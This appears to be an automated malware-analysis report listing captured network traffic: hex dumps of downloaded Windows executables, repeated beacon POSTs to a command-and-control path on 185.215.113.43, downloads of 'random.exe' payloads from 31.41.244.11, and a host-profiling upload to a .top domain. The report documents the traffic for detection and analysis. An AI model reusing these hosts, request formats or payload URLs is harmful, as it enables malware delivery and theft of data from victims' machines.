00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 10:47:26 GMTContent-Type: application/octet-streamContent-Length: 1960448Last-Modified: Wed, 18 Dec 2024 10:37:12 GMTConnection: keep-aliveETag: "6762a5d8-1dea00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 d0 4a 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4b 00 00 04 00 00 7c 02 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 e0 07 00 6a 00 00 00 00 c0 07 00 6c 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 e1 07 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 07 00 00 10 00 00 00 3c 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 6c 16 00 00 00 c0 07 00 00 08 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 07 00 00 02 00 00 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 29 00 00 f0 07 00 00 02 00 00 00 56 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 63 69 7a 61 7a 75 6a 00 70 19 00 00 50 31 00 00 6c 19 00 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6d 6c 66 78 6f 67 77 00 10 00 00 00 c0 4a 00 00 04 00 00 00 c4 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4a 00 00 22 00 00 00 c8 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 10:47:35 GMTContent-Type: application/octet-streamContent-Length: 765568Last-Modified: Tue, 17 Dec 2024 09:46:16 GMTConnection: keep-aliveETag: "67614868-bae80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 86 04 00 00 d0 02 00 00 86 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 86 04 00 00 60 07 00 00 86 04 00 00 fa 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 10:47:42 GMTContent-Type: application/octet-streamContent-Length: 4466688Last-Modified: Wed, 18 Dec 2024 10:17:55 GMTConnection: keep-aliveETag: "6762a153-442800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 30 b6 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 60 b6 00 00 04 00 00 e5 ce 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 1b b6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc 1a b6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 61 00 00 10 00 00 00 3e 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 80 61 00 00 02 00 00 00 4e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 61 00 00 02 00 00 00 50 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 38 00 00 a0 61 00 00 02 00 00 00 52 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 68 76 66 65 76 70 69 00 b0 1b 00 00 70 9a 00 00 ae 1b 00 00 54 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 67 73 6e 68 74 69 65 00 10 00 00 00 20 b6 00 00 04 00 00 00 02 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 b6 00 00 22 00 00 00 06 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 10:47:54 GMTContent-Type: application/octet-streamContent-Length: 776832Last-Modified: Tue, 17 Dec 2024 09:45:14 GMTConnection: keep-aliveETag: "6761482a-bda80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 9c 04 00 00 d0 02 00 00 9c 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 9c 04 00 00 70 07 00 00 9c 04 00 00 10 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 45 37 31 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32E71B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 38 37 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016875001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 38 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016876001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/dodo/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 38 37 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016877001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 38 37 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016878001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: /Content-Type: application/jsonContent-Length: 502431Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 31 38 38 37 34 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 36 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 33 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 38 37 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016879001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=W5I04RJg8H8zmx9g1734518880 HTTP/1.1Host: home.twentytk20pn.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 45 37 31 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32E71B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
